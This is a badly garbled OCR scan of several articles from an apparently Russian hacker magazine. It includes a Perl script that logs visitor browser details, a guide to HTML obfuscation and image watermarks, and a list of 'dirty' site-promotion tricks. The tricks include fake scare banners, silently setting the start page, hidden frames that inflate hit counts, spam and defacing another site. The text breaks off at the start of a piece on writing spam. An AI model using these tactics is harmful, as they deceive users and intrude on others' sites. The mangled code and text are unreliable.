файл stat.pl. В его задачи входит вывод 
картинки, обработка и запись принятых 
параметров в файл. Для того чтобы 
скрипт выводил картинку, по идее надо 
разбираться с форматом gif или jpeg, но 
это не самое приятное занятие. Тем бо- 


лее, если делаешь не счетчик, который 
будет показывать количество уников, хи- 
тов и хостов, то этого можно и избежать. 
Намного проще будет сделать картинку, 
которую скрипт будет считывать и потом 
выдавать. Отличие такого скрипта будет в 
заголовке. Вместо привычного «print 
«Content-type: text/html;charset=win- 
dows-1251\n\n»;», который нужен для 
выдачи в ответе html-ctpaHuu, будет стро- 
ка «рип «Content-type: ima- 
ge/gif\n\n»;». Этот заголовок будет со- 
общать броузеру, что результатом работы 
скрипта является динамический 911- 
файл. Кроме того, понадобится еще про- 
цедура FormInput. Ее исходник и описа- 
лово опубликованы в ХАКЕР СПЕЦ 02(27) 
«ПАГА-РОБОТ». Кроме того, ее можно ска- 
чать отсюда: http://winfo.org/down/va- 
lues.zip. Эта процедура понадобится для 
обработки полученных параметров и их 
последующей записи в файл. 


Знание о системах юзеров 


можно использовать при 
разработке и создании сайта. 


Если скрипт будет работать на *п1х-систе- 
мах, то считывание и выдача содержимо- 
го файла будет такой же, как и при рабо- 
те с текстовыми файлами. Под виндами 
вместе с символом новой строки \п по- 
явятся лишние символы возврата каретки 
\г. Понятно дело, все будет выглядеть не 
так, как надо. Во избежание таких глюков 
надо указать, что файл должен считывать- 
ся как бинарный. Запусти Photoshop (ну 
или чем ты рисуешь) и нарисуй неболь- 
шую картинку. После чего сохрани ее в 
папке html как pl.gif (имя может быть 
любое, просто такое используется в при- 
мере). Только делай картинку не стан- 
дартно используемых счетчиками разме- 
ра (88х31, 120х60, 100х100), а то некото- 
рые резатели, типа Outpost’a, будут выре- 
зать всю часть кода. А значит, и статисти- 
ка собираться не будет. 


$maindir=«../html1/»; 
#рабочая папка 
$picfile=$maindir.’p1l.gif’; 
#путь к графическому файлу, 
который будет выдан броузеру 


#—вывод картинки скриптом 


ореп(АА1, $picfile); 
#открытие файла 
Ь1птоде (АА1); 
binmode (AA1); 

#это для Windows - 
Ha бинарность файла 
@picture=<AA1>; 
#считывание файла в массив 
@picture 

close(AA1) ; 

#закрытие файла 


указание 


foreach(@picture) 
{print $_;} 


Если в броузере ввести адрес скрипта или 
открыть html-ctpaHuuy, содержащую опи- 
санный выше 95-код, то ты увидишь соз- 
данную картинку. Уже полдела сделано - 
что-то отображается. Осталось сделать об- 
работку и запись полученных параметров. 


#—обработка и запись параме - 
тров в файл 


$q=SENV{ ‘QUERY_STRING’ }; 
#передаваемая скрипту строка 
параметров 
$statfile=$maindir.’sta- 
ОЕ” 

#файл, куда будут кидаться 
все полученные данные 
open(AA2, «>>$statfile») ; 
#открытие файла для записи в 
конец (дозаписи) 

if ($q пе «nojs») 


{ 
$q=~s/%/ /g; 
#замена знака % пробелами 
$ch=$input{‘ch’}; 
#кодировка 
$ua=$input{‘ua’}; 
#тип броузера 
$v=$input{‘v’}; 
#версия броузера 
$resol=$input{‘resol’}; 
#разрешение экрана 
$os=$input{‘os’}; 
#операционка 
$isjava=$input{‘isjava’}; 
#работает ли Java Script 
$scd=$input{‘scd’}; 
#глубина цвета, бит 
$разе=$1при* { ‘разе’}; 
#адрес просматриваемой стра- 
НИЦЫ 


#запись через разделитель 
«;;» сведений о кодировке, 
типе броузера, его версии, 
разрешении экрана, операцион- 
ке, наличии поддержки JS, 
глубины цвета и адреса прос- 
матриваемой страницы 

print AA2 «$ch;;$ua;;$v;;$re- 
$01;;$0$;;$1$] ама; ; $$са; ; $ра- 
ge;;\n»; 


else 


print AA2 «Ничего He опреде- 
лено\п»; 


} 
close(AA2); #закрытие файла с 
записанными данными 
exit; 


Система готова на 99%. Остается для 
удобства и автоматизации написать 
скрипт для обработки полученных дан- 
ных - сортировки, подсчета и т.п. Но это 
уже выходит за рамки статьи. Тем более, 


< 


СБОР ДАННЫН 0 НЛИЕНТЕ 


это не так трудно, как сбор статистики, 
так что справишься. Кстати, можешь за- 
мутить еще и запись айпишника в файл 
статистики - будешь считать постоянных 
клиентов :). 


КТО И КАК ЭТО ИСПОЛЬЗУЕТ? 


Сбор сведений о системе пользователей 
используется в счетчиках, баннерах, 
партнерских программах. Отчасти это по- 
могает выяснить, не накручивает ли кто 
показы и клики. Ведь не может же зайти 
на один сайт в течение 5 минут 1000 че- 
ловек с неизвестными броузерами :). Из 
собранных мной в свое время таких дан- 
ных можно сказать, что абсолютное боль- 
шинство народа сидит под виндами 
(98%), юзает експлореры (92%), самые 
популярные разрешения - 1024х768 
(43%), 800х600 (39%). Основываясь на 
этих данных, можно сказать, что если оп- 
тимизировать сайт под разрешение 
800х600 для просмотра в ИЕ - наиболее 
выгодный метод. Ведь в ТЕ есть понятная 
только ему поддержка некоторых элемен- 
тов CSS, которые либо как-то криво, либо 
вообще никак не отобразятся в других 
броузерах. Я не хочу обидеть пользовате- 
лей Netscape’a, но их ведь правда мало. 
Суровы законы реальности - большинство 
обычно кладет на меньшинство. 

Такой замечательный броузер, как Орега, 
может попортить всю статистику. Он может 
представляться серваку одним из несколь- 
ких имен, которые предлагает выбрать. Хо- 
тя в случае с Оперой подстава не так 
страшна - в этом броузере и в експлорере 
все смотрится настолько похоже, что даже 
придраться не к чему. Он и Css замечатель- 
но понимает, начиная с седьмой версии. 


В статье приведен неполный список пара- 
метров, которые можно определить. Их 
полное перечисление можно продолжать 
очень долго. Можно было вспомнить про 
cookies, с помощью которых можно опре- 
делить дату предыдущего визита, если та- 
кое имело место быть. Только оно не кче- 
му. Если надо что-то посмотреть, то реко- 
мендую просто посмотреть на текст гото- 
вых счетчиков - там можно много полез- 
ных фишек найти. Зачем изобретать вело- 
сипед? Ага, вот и я думаю. Так что не те- 
ряй времени - разбирайся и пиши. Тем 
более, это уже относится к мер-разработ- 
кам, а за такие вещи платятся неплохие 
денежки! 
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защищаем тексты и картинки в сети 


Сколько раз при заходе на сайт тебя не покидало 
ощущение, что ты это уже где-то видел? Наверняка не раз. 
Очень многие владельцы сайтов просто нагло тырят контент 


и идеи дизайна и кода один у другого, зачастую не 
разбираясь, что к чему. Из-за этого нередко налицо потеря 
качества. Очень обидно начинающим веб-мастерам, которые 
хотят сделать сайт уникальным, когда обнаруживают свой 
авторский материал на 10 и более других сайтах, причем 
обычно авторство не указывается. Сразу же начинаешь 
возмущаться, типа, какого х... хакера моя статья висит у 
этого муд... мудрого плагиатора? Только ничего не 


поделаешь - информация на сайте является общедоступной. 


Но все-таки есть методы наложить свои копирайты и на 
текст, и на графику. 


Леха ББ aka Alexys (alex-sun@mtu.ru) 


Объекты особого внимания 


В вебе основными объектами, которые 
быстро попадают на кучу сайтов, являют- 
ся текстовая информация, графика и ди- 
зайн. Почему-то варез, крэки и порно не 
так часто привлекают внимание распро- 
странителей. А жаль :). Неплохо было бы, 
если бы варезные сайты расплодились 
побольше, причем так, чтобы у каждого 
сайта был свой файловый архив, а не 
простое указание одних и тех же ссылок 
на все файлы. Но такое хрен произойдет, 
ведь программы занимают намного боль- 
ше места, чем текст и графика. А трафик и 
пропускная способность канала обычно 
сильно ограничены. Вот и тырят то, что 
поменьше, чтобы сделать побольше стра- 
НИЦ, а в результате поднять посещаемость 
и количество баннеропоказов. 


Никто и ничто не может дать 
100-процентную гарантию 


сохранения авторских 
прав в сети. 


HTML Guard 


Output Source code 


© Protect all files in a directory: 


Include sub directories 


$) Protect following HTML files: 


D:Testing\index htm! 


Не считается уголовно наказуемым, если 
чужая информация используется в озна- 
комительных целях и не преследует ком- 
мерческой выгоды. Но ведь баннеропока- 
зы потом продаются, а значит, выгода 
есть. Только не твоя она. Чтобы можно 
было наехать на чела, который стянул 
твой контент, надо этот контент как-то по- 
метить так, чтобы это не было сильно за- 
метно визуально, а подтвердить свою пра- 
воту после этого было можно. Также мож- 
но закодировать инфу так, чтобы на ее 
раскодирование ушло больше сил, чем на 
создание аналогичного материала. 


Правка текстовых файлов 


С текстовыми файлами особо ничего и 
нельзя поделать. Но чтобы хотя бы само- 
му можно было его узнать и попытаться 
доказать свое авторство, можно позаме- 
нять некоторые символы. Пусть тот текст, 
который ты хочешь немного подзащитить, 
написан русскими буквами по-русски. Но 
ведь некоторые русские буквы по написа- 
нию совпадают с латинскими. Почему бы 
их не заменить друг другом? В любом 
текстовом редакторе можно провести по- 
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добную замену. А если не полениться, то 
можно написать небольшую прогу, кото- 
рая будет сама менять все нужные симво- 
лы. Если обработанный таким образом 
текст вставить в Word, то проверка орфог- 
рафии покажет ошибки едва ли не во 
всех словах. Мелочь конечно, но лучше, 
чем ничего. 


Причины для защиты НТМЕ-кода 


Основные требования к хорошему сайту - 
информативность, уникальность и хоро- 
ший дизайн. Уникальности можно добить- 
ся только тогда, когда информация с этого 
сайта не попадает на другие и не копиру- 
ется с других, а также пока дизайн сайта 
остается оригинальным. Многие бездари, 
которые выучили несколько тэгов, кину- 
лись делать сайты. У самих ничего хоро- 
шего обычно не выходит, ибо мозги пока 
не могут сгенерить нормальные идеи, а 
вот свистнуть идеи и код им под силу. За- 
лезут они на понравившийся сайт, скача- 
ют несколько страниц, разберут их по кос- 
точкам. Именно так и получаются клоны. 
Дизайн, как и контент, должен охранять- 
ся. Но как это сделать, если HTML - это 
open-source. Наверно во всех броузерах 
есть пункт "Просмотреть в виде HTML" или 
что-нибудь в таком духе. Получается, что, 
делая сайт, ты его бесплатно даришь всем 
подряд, а на создание реального дизайна 
у тебя наверняка ушел не один день рабо- 
ты. Надо бы защитить свое детище. 

Существует несколько программ (о них 
ниже), которые проводят некоторые изв- 
ращения над HTML-kogom, кодируя его до 
неузнаваемости. В результате получается 
текст в непонятной кодировке (честно го- 
воря, там даже после пива не поймешь ни- 
чего), который отображается нормально 
только как результат работы Java Scriptia. 
Один недостаток этих программ - для нор- 
мального отображения их нужно, чтобы 
Java Script был включен. Но, как показы- 
вает статистика, таких юзеров абсолютное 
большинство. Так что беспокоиться особо 
не о чем. Конечно, стопроцентную гаран- 
тию от открытия кода дать не может ник- 
то, но открытие будет очень сильно зат- 
руднено. Особенно потому, что в кодиро- 
ванной информации содержится еще ка- 
кая-то часть мусора, не влияющего на 
отображения страницы. Пойди разберись, 
что к чему там. Не факт, что на создание 
такого же дизайна своими руками уйдет 
больше времени. Тем более опытный веб- 
дизайнер не будет лазить по сайтам в по- 


После нее страницы вырубают Explorer 


исках идей - он сам придумает не хуже. А 
вот бездари даже нормальной копии не 
смогут сделать. Так что перейдем к рас- 
смотрению методов защиты кода. 


Защита содержания НТМ!-страниц 


Наиболее простым вариантом сохранения 
контента на сайте (кстати сказать, не 
слишком эффективным) является блоки- 
рование нажатия правой кнопки мышки. 
Это реально защита от дурака, чтобы тот 
не смог ничего скопировать. Но ведь все 
равно можно сохранить страницу и пос- 
мотреть на скачанные файлы. Метод нас- 
только бесполезный, что его можно даже 
не рассматривать. 


Куда более интересным является резуль- 
тат защиты кода такими программами, как 
HTML Guard, HTML Protector, Secure HTML 
Lock и HTML Compress. Все эти программы 
(кроме HTML Compress) исковеркивают 
HTML-kog до неузнаваемости, а страница 
после обработки ими продолжает выгля- 
деть абсолютно так же. Только размер 
немного увеличивается. HTML-Compress 
не криптует HTML-kog, а просто уменьша- 
ет объем страницы. Это основано на уда- 
лении двойных пробелов, удалении ком- 
ментариев и т.п. НТМЕ-код остается отк- 
рытым, только вот читать его становится 
не очень удобно. 


Софт для скрытия НТМЕ-кода 


HTML Guard - лучшая, на мой взгляд, прог- 
рамма для шифрования НТМ!-кода. Прав- 
да, она Shareware, но кряки к ней есть :). 


Сначала выбираешь, какие файлы тебе на- 
до запротектить. Во вкладке Output не ме- 
няй ничего - по дефолту там настроено 
создавать БаК-файлы в той же папке, где 
будут меняться файлы. В опции Source 
Code устанавливается, что будет написано 
в тэгах <noscript>, например, можно напи- 
сать "Включи Java Script, дурень". Здесь 
же можно сказать проге создавать кучу 
пустых линий в коде, дабы еще больше за- 
путать пытающихся просмотреть код. В 
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менюшке Images/Texts можно отключить 
нажатие правой кнопки мышки. При ее 
нажатии всплывет alert с мессагой, кото- 
рую можно здесь же вбить или воспользо- 
ваться готовой. Разработчики были явно с 
чувством юмора, написав в одном из ва- 
риантов "Why don't you create a web раде 
by yourself?" (Почему бы тебе не сделать 
страницу самому?). Также здесь можно 
отключить возможность выделения текста 
и распечатывания страницы. После выбо- 
ра настроек шифрования надо нажать 
кнопку Protect Files, и тогда выбранные 
файлы станут защищенными. 

Вот так легко и быстро можно защитить 
свои многочасовые старания. 


Другие программы для скрытия кода 
(Secure HTML Lock и HTML Protector) не 
так хороши, Kak HTML Guard. Обработан- 
ную HTML Protector'om страницу He полу- 
чается просмотреть Explorer'om, который 


Secure HTML Locker слишком любит рекламировать себя 


вечно выдает ошибку и вырубается. Не 
думаю, что такое поведение столь попу- 
лярного броузера заставит людей еще раз 
явиться на твой сайт, каким бы информа- 
тивным он ни был. Хотя это можно как-ни- 
будь и использовать :). 


Программа Secure HTML Lock тоже показа- 
ла себя не с лучшей стороны. В страницы 
она вживляет упоминание о себе люби- 
мой. На хрен делать рекламу кому-то еще? 
Обойдутся :). У нее есть свои достоинства, 
но это не относится к теме этой статьи. 


Защита графики от использования 
на других сайтах 


После того, как были защищены HTML- 
страницы, надо бы вспомнить и о графике. 
И неважно, что картинки с сайта стало 
трудно вытащить. Все равно можно, в от- 


Картинка, на которую надо наложить копирайт 
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личие от текста. И картинки не запаро- 
лишь, и не закодируешь, чтобы их не 
свистнули. Иначе их просто видеть никто 
не будет. Даже если картинка является 
результатом работы скрипта, ее все равно 
можно сохранить. На крайняк воспользо- 
вавшись Print Screen'om. Есть решение 
вопроса, как можно вставить копирайты в 
картинки. Знаешь, самый первопроверяе- 
мый параметр бумажных денег? Это водя- 
ные знаки, или \м/афегтатК'и на инглише. 
Их ведь можно использовать не только на 
бумаге, но и в графике. Надо только при- 
думать, как их сделать. 


Watermark - способ наложения 
копирайтов на графику 


Watermark - это небольшой объект, нано- 
симый на картинку, который не мешает 
просмотру, т.е. он должен как бы сливать- 
ся с картинкой. Для облегчения этого 
процесса даже были выпущены какие-то 
программы, но все их действия могут быть 
выполнены в Photoshop'e (желательно 7, 
но должны подойти и более старые вер- 
сии), лучше которого я пока не видел ни 
одной программы для работы с растровой 
графикой. 

Для разбирательства с принципом созда- 
ния watermark'op понадобится картинка, 
которую надо защитить. В качестве при- 
мера взят сгенеренный в Теггадеп'е пейза- 
жик. Открой его в фотошопе и заресайзь 
до нужных размеров. 


Чтобы сделать watermark поинтереснее, 
можно нарисовать какую-нибудь фигуру, 
в которую будет вписан текст копирайта. 
Но это уже будет зависеть от твоей фанта- 
зии. Главное - не дать своему самолюбию 
сделать копирайт очень большого разме- 
ра. Выбери Туре Tool (дословно "тулза для 
печати") и вбей инфу, которая будет ука- 
зывать на твое авторство. Это может быть 
твое имя, e-mail, URL сайта и т.п. После 
чего немного поизвращайся с получив- 
шейся надписью - сделай ей ресайз, пов- 


Введенный текст копирайта 


ращай, покрути и расположи в том месте, 
где ты хочешь оставить свой копирайт. 


Если не открыто фотошоповское окно 
"Layers", то залезь во вкладку Windows и 
выбери пункт Layers. Кликнув правой 
кнопкой на слой, содержащий надпись, 
залезь в Blending Options и выбери там 
Bevel and Emboss. Подвигай ручки наст- 
роек и выбери тебя устраивающий вари- 
ант. Нужно, чтобы надпись приняла эф- 
фект объемности, т.е. чтобы буквы полу- 
чились как бы выгравированными. А те- 
перь надо перетащить эту надпись в ту 
область картинки, где встречается по- 


Метод стыковки слоев - Soft Light 
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больше цветов. Желательно, чтобы цвета 
очень часто менялись. Если watermark oc- 
тавить на фоне монотонной области, то 
его каждый дурак сможет вытащить, а 
именно от таких и делается защита (ум- 
ный сам все сделает). На данном этапе 
получился обычный копирайт, но не 


Ucnonp3s0Banne 
криптографии - способ 


защиты НТМЕ-кода от 
просмотра. 


watermark. Он пока сильно заметен на 
изображении и наверняка не делает его 
лучше. А надо ведь сделать его не сильно 
привлекающим к себе внимание. Благо, в 
фотошопе можно управлять результатом 
цвета, получаемого от наложения одного 
слоя на другой - Blending Mode (no-pyc- 
ски что-то типа "Метод стыковки"). Метод 
стыковки надо выбирать для слоя, кото- 
рый находится выше того, на который он 
накладывается, в данном случае - это 
слой с надписью. По дефолту стоит метод 
Normal. При этом методе не происходит 
никакого смешения цветов, а видимым 
будет цвет пикселя, находящегося сверху 
слоя. В фотошопе есть на выбор 22 мето- 
да стыковки, каждый из которых имеет 
свои особенности и применим в своих 
случаях. 0 них подробно написано в ма- 
нуале к фотошопу. Лучший способ узнать, 
какой нужен, - попробовать все в 
действии. После небольшой практики бу- 
дешь интуитивно чувствовать, какой надо 
использовать. Поэтому попробуй все ме- 
тоды и понаблюдай за результатами. В 
случае с рассматриваемой картинкой вы- 
бор пал на метод Soft Light. При нем по- 
лучился почти готовый watermark - неп- 
лохо сливается с фоном, но его при этом 
можно легко разглядеть. 


Возможно, что даже слишком легко. Поэ- 
тому не мешало бы прибавить прозрач- 
ности этому Гауегу. В окне Layers есть аж 
2 параметра, которыми можно менять 
прозрачность и насыщенность - Opacity и 
АЦ соответственно. Если выкрутить 
Opacity до нуля, то тогда слой с копирай- 
том исчезнет с экрана, а вот если выкру- 
тить Fill, то тогда копирайт превратится во 
что-то сливающееся с картинкой, но при 
этом он не станет совсем прозрачным. Ре- 


Watermark - лучший способ 
сохранить за собой 


авторство картинки при 
минимальных затратах. 


зультат немного напоминает изображение 
хищника в фильме "Хищник". 

Складываться ощущение, что за картинкой 
вставили объемные символы и теперь они 
выдавливают ее. Похоже на водяные зна- 
ки? По-моему, даже очень. И времени на 
их изготовление нужно не более 5 минут. 
А вот вытащить этот watermark - задача 
далеко не из легких. Закопирайтенные та- 
ким образом картинки дадут знать об их 
создателе, даже если они все же появятся 
на других сайтах. А ты, кстати, сможешь 
предъявить претензии, если найдешь - ко- 
му. Или натравить на сайт того воришки 
кучу хакеров, чтобы тому жизнь медом не 
казалась :). Правда, к таким жестоким ме- 
тодам надо прибегать, если тебе твое тво- 
рение очень нравится (или, наоборот, не 
очень) и ты не хочешь выставлять его на 
слишком большое обозрение. 


Дополнительная защита картинок 


Чтобы затруднить скачивание картинок с 
сайта, можно воспользоваться наложени- 
ем невидимых [ауегов с невидимками, 
чтобы пытающийся скачать картинку не 
смог скачать ему нужную. Правда, это за- 
щита бесполезна во многих случаях - что 
стоит нажать Print Screen и в том же фо- 
тошопе вырезать ее из всего остального. 
А вот с помощью программ, которые 
криптуют html-kog, можно и запретить 
нажатие кнопки Print Screen. Конечно, Ha 
клаве эта кнопка нажмется, а вот резуль- 
тата от нее будет не очень много - ни хе- 
ра она не скопирует в буфер изображе- 
ние экрана. 


4 


СНАНИ НЕТ ПЛАГИРТУ 


Подводя итог 


Теперь ты знаешь, как можно защитить 
информацию на своем сайте. Только не 
надо применять эти методы, если твоя 
страница не содержит авторских матери- 
алов, ибо присвоение чужой интеллекту- 
альной собственности преследуется за- 
коном. Даже если это делается в неком- 
мерческих целях. Кодирование кода (ага, 
прям масло масляное, но иначе не ска- 


Не стоит делать защиту 
от профессиональных 


веб-мастеров - те сами 
все быстрей придумают. 


жешь) используется не так часто на сай- 
тах, как вставка копирайтов на картинки. 
Нормально знающему HTML не составит 
труда наклепать страницу, если он увидит 
ее. Правда, со всякими картинками и 
иконками ему скорей всего придется по- 
мучаться. А вот установка копирайтов на 
графических трудах может помочь раз- 
рекламировать твой сайт. Представь се- 
бе, что ты увидел 3.14здатую картинку на 
каком-то сайте, а на картинке URL явно 
не того сайта. Держу пари, что процентов 
30 увидевших отправятся на указанный 
адрес, чтобы посмотреть другие работы 
автора. Намного хуже, когда на разных 
сайтах видишь разные копирайты на од- 
них и тех же картинках. Это только пока- 
зывает непорядочность веб-мастеров, 
которые стали накладывать свои права 
на as труд. Валить надо такие сайты! 
Вот :). 


= 


i 


Доделанный watermark на картинке 
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ГРЯ-ЗНЫН 


mETODOB 


раскрутки сайта 


Леха BB aka Alexys (alex-sun@mtu. ги) 


все нет и нет. 


Сделал ты пагу, нарегился в партнерских программах, чтобы 
бабла срубить, рекламы повесил, а вот только результата 


А ведь и хостинг уже оплачен. Пока там 
тебя поисковики найдут. А то, может, и 
найдут, но при поиске выдавать будут 
странице на 15-ой и дальше. Так о тебе 
долго никто не узнает. Получится, что ты 
зря старался сделать сайт. Если ты не хо- 
чешь оказаться в такой ситуации, то наш 
топ поможет тебе в кратчайшие сроки 
резко прибавить посещаемость на сайте. 
Ибо речь пойдет о грязных методах ра- 
скрутки. 


Первые шаги раскрутки 


Как ни странно, встречаются такие унику- 
мы, которые считают, что если они сдела- 
ли страничку и выложили ее в Инете, то 
все про нее уже знают и заходят. Случай- 
но в Инете редко кто куда попадает, а 
если такое уж и произошло, то едва ли это 
повторится. Поэтому, если ты хочешь, 
чтобы о твоем сайте узнали, надо для на- 
чала зарегить его в таких известных пои- 
сковиках, как yandex.ru, google.com, ram- 
bler.ru, aport.ru, и во всяких каталогах. 
Вот ты зарегил свой сайт в этих поиско- 
виках, написал там что-то. Прошла пара 
недель, а счетчик на сайте до сих пор не 
показывает приход посетителей. И поче- 
му, как ты думаешь? Самый сложный этап 
в раскрутке сайта - начальный, это когда 
у тебя нет ни стабильного притока людей, 


ни позиций в рейтингах, и никто о тебе не 
знает. Надо сначала взяться за дело 
всерьез, а потом уж не сильно напрягать- 
ся и жить на доходы с сайта. 


1. ИСПОЛЬЗОВАНИЕ 
ЛЕВЫХ KEYWORD’OB 


Поисковые системы периодически прово- 
дят индексацию сайтов, которые были в 
базе, а также недавно добавленных. Ро- 
боты-индексаторы обращают внимание 
на текст на страницах, наличие заголов- 
ков, тета-тэги. Это можно использовать, 
чтобы получше тебя находили. Строка с 
кивордами выглядит вот так: 

<META NAME=«keywords» content=«pa3- 
ные ключевые слова для поисковиков»>. 
После слова content идут те самые клю- 
чевые слова, на которые поисковики дол- 
жны обращать внимание. Что мешает 
вбить слова, которые заведомо являются 
популярными при запросах, например, ха- 
лява, порнуха, телки, эротика и т.п. До- 
вольно быстро приход с поисковиков 
должен возрасти. 


+ повышение позиции в поисковиках и 
каталогах; 

— могут удалить из базы и добавить в 
черный список. 
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He все методы одинаково 


хороши для раскрутки 
различных сайтов. 


2. АНИМАЦИОННЫЕ 
БАННЕРЫ 

Если ты еще не обрезал баннеры на своей 
машинке, то наверняка видел область 
броузера, в которой был изображен про- 
цесс, визуально похожий на форматиро- 
вание харда, и кнопочка «отмена». Вот 
ламер, который не понимает, что такого 
через броузер сделать просто нельзя, на- 
верняка потянется к кнопке «отмена» и 
нажмет ее. А в результате окажется на 
сайте. Это один вариант баннеров. Также 
неплохо на повышение CTR’a сказываются 
баннеры, содержащие начало анекдота и 
полосу прокрутки, а также обнаженная 
девица с подписью «Сделаем это здесь». 
Такие методы рекламы неслабо повысят 
посещаемость сайта. 


= высокий CTR от показов; 

— разочарование кликнувшего на телку; 

— нужно потратить немного денег на по- 
купку баннеров. 


3. ДОБАВЛЕНИЕ 

В ИЗБРАННОЕ 

и СТАНОВЛЕНИЕ 
СТАРТОВОЙ СТРАНИЦЕЙ 


Понятное дело, это будет проходить без 
ведома юзеров. Зачем спрашивать, если 
это можно не делать. От этих методов 
почти каждый юзер попадет на сайт как 
минимум еще один раз. 


=F небольшой размер кода; 

— не очень большой приток людей; 

— такой код обрезается многими про- 
граммами. 


4. POP-UP’OBIBE 
и POP-DOWN’OBBIE ОКНА 


Окна, которые открываются поверх 
остальных или сворачиваются при за- 
грузке страницы сайта. Надо только най- 
ти чела, у которого на сайте посеща- 
емость примерно равна твоей, и догово- 
риться, что на каких-то страницах будет 
вставлен код самооткрывающихся окон. 


Если не нашел партнера по несчастью, то 
можно найти ресурс с хорошей посеща- 
емостью и попроситься там повисеть в 
рор-ир’ах. Скорее всего, за некоторое 
вознаграждение ты повисишь какое-то 
время. 


=F эффективно; 

=F быстрое поднятие в рейтингах; 

=F небольшой код; 

— надо искать партнера; 

— обрезается многими программами. 


5. НЕВИДИМЫЕ ФРЕЙМЫ 


Это очень аналогично пункту выше, толь- 
ко в этом случае об открытии еще одной 
страницы можно только догадываться. 
Никто ее не видит, никому она не мешает, 
а она открывается. Невидимые фреймы 
трудно отследить админам всяких топ- 
служб. Так что метод использования не- 
видимых фреймов однозначно положи- 
тельный. 


=F все из пункта 4; 

=F почти невозможно отследить накрут- 
ку; 

=F не раздражает юзеров, как рор-ир’ы; 

— трудно найти чела, который согласится 
тебя разместить; 

— никто о тебе так и не узнает. 


6. Подписи в ГОСТЕВЫХ 
КНИГАХ И POPYMAX 


Можно, конечно, постить и умные вещи, 
но для раскрутки надо юзать то, что при- 
влечет побольше внимания людей. Это 
может быть что-то типа «Меня зовут Аня, 
18 лет, блондинка. Выложила свои фотки 
здесь: http://winfo.org». Очень много пе- 
реходов на сайт будет сделано с такого 
поста. Только для таких целей надо вы- 
брать форум средней паршивости. На по- 
сещаемых форумах модерация хорошо 
работает, так что очень скоро придется 
повторно писать. 


= низкие затраты при высоком притоке; 
— периодически надо оставлять новые 
посты (желательно с новым слоганом). 


7. ВЫКЛАДЫВАНИЕ 
УЧЕБНОЙ ИНФОРМАЦИИ 


Это хорошо для студентов. Как бы невзна- 
чай надо объявить как можно большему 
числу народа, что отсканированную лек- 
цию ты разместил на своем сайте, правда 
точную линку не помнишь. Ну и даешь ад- 
рес сайта. Сделать это можно как в инсти- 
тутском форуме, так и простым объявле- 
нием «Шпоры, лекции, решения задач по 
теории неожиданности. http://win- 
fo.org». Не беда, что никаких лекций там 
нет, но приход-то уже будет осуществлен. 
Конечно, за это могут и обидеться, но тог- 
да можно и правда что-нибудь выложить 


=F небольшой приход людей точно будет; 
— разовый метод. 


Грязная раскрутка помогает 


только на короткое время. 


< 


10 ГРЯЗНЫН МЕТОДОВ 


— НЫ в sa 


i a = 


— 


8. АНКЕТЫ HA САЙТАХ 


ЗНАКОМСТВ 


Однажды один мой друг в результате по- 
пытки подставы сторонними лицами заи- 
мел посещаемость на его хоум-паге по- 
рядка 100-150 человек в день. Причем 
обычно было раз так в 10 меньше. Заинте- 
ресовавшись, откуда столько набралось, 
он полез посмотреть в статистике spylog’a 
(тогда он еще был фришный). Стал он 
просматривать ссылки, по которым были 
сделаны приходы. Очень был удивлен, 
увидев среди ссылающихся страниц до- 
мен одного известного сайта сексуальных 
меньшинств. Кликнув по линке, он натол- 
кнулся на анкету сайта знакомств, в кото- 
рой были указаны и его аська, и его мыло, 
и УРЛ его странички. Так вот откуда тра- 
фик такой! Так бы все и было оставлено, 
да в аську стали ломиться геи и чего-то 
спрашивать. После пары писем админу 
анкета была удалена. Но факт эффектив- 
ности от оставления УРЛы в анкетах сай- 
тов знакомств остается фактом. 


=F простота и эффективность метода; 
— могут завалить письмами, если на паге 
оставлено мыло. 


9. СПАМ-РЕКЛАМА 


(Сейчас этот метод очень часто использу- 
ется. Многие ящики просто заваливают 
спамом. Такое ощущение, что админы не- 
которых почтовых серваков сами взяли и 
продали свои базы (с МТУ такое наверня- 
ка произошло - на мой МТУ-шный ящик 
приходит не меньше 10 писем со спамом, 
причем адрес не был засвечен нигде до 
начала прихода писем). Далеко не все 
удаляют такие письма не читая. Многим 
очень интересно, что им там прислали. 
Вот и лезут они по линкам, находящимся в 
тексте письма. 


=F однажды завладев базой e-mail’os, 
МОЖНО повторять рекламу когда захо- 
чется; 

= достает нормальных людей. 


VOU ARE THE ih 
МТО ТО THIS WEBSITE 


Сайты знакомств можно 


использовать для раскрутки 
своего сайта. 


10. DEFACE САЙТА 


Заменить стартовую страницу на чудом 
раскрученном ресурсе и сделать на стра- 
нице редирект на твой сайт. За это можно 
и люлей хороших схлопотать, но результат 
будет просто реальный. Только лучше это 
делать ненадолго, чтобы админы сайта не 
успели ни о чем пронюхать. А то тогда 
твой сайт из дауна не выйдет. 


+ мгновенная реклама; 
— трудно поломать сайт; 
— могут поиметь за это. 


О чем надо помнить 


Грязная раскрутка помогает только на ко- 
роткое время. Во всех нормальных систе- 
мах поиска и каталога существуют моде- 
раторы. Если ты обманешь эти системы, 
то рано или поздно тебя обнаружит моде- 
ратор и либо исправит все сам, либо про- 
сто удалит тебя из каталога. Тогда ты мно- 
гое потеряешь. Когда будешь выбирать 
методы для раскрутки, подумай, сколько 
сил, денег и времени есть у тебя в нали- 
чии, а также сколько народу и в какое 
время ты хочешь привлечь на сайт. Проа- 
нализируй это и приступай к действию. 
Нужного результата можно добиться 
только в случае, если известно заранее, 
чего ты хочешь добиться. Для проверки 
эффективности воспользуйся системой 
сбора статистики (сделай свою или вос- 
пользуйся готовой), чтобы знать, откуда 
приходят на сайт. Там уже будет процен- 
тов на 90 ясно, какая реклама дает реаль- 
ную пользу, а какая только отнимает вре- 


мя и деньги. 
=r 


mel Nha 


page O43 


aes 


СЕТЕВОЕ МОШЕННИЧЕСТВО 


В день я получаю не менее десяти писем, даже если мне 
никто не пишет ;). И все благодаря трепетному отношению 
спамеров к моему засвеченному ящику в Инете. Что только 


YMHbIU 


не сыпется ко мне в ящик: сколько стоит квартира в 
Уренгое, как увеличить член и что мне даст глубокая очистка 
кишечника... Список лучше не продолжать :). Все подобные 
письма удаляются одним кликом и без прочтения. Но недавно 


мне попалось письмо, которое я с удовольствием прочитал 


реклама, которую прочтут 


Андрей Каролик (andrusha@sl.ru) 


до конца и только потом (!) понял, что это реклама, а меня 
грязно поимели в голову : 
письмо, я тебе и поведаю... 


. O TOM, как написать такое 


ЧТО ТАКОЕ СПАМ? 


Допустим, у тебя есть прикольная пага, 
которую ты хочешь порекламить. Дыба- 
ешь базу с адресами ничего не знающих 
жильцов Инета и капаешь им на мозги. По 
сути задача сводится к тому, чтобы при- 
влечь внимание заголовком письма, заин- 
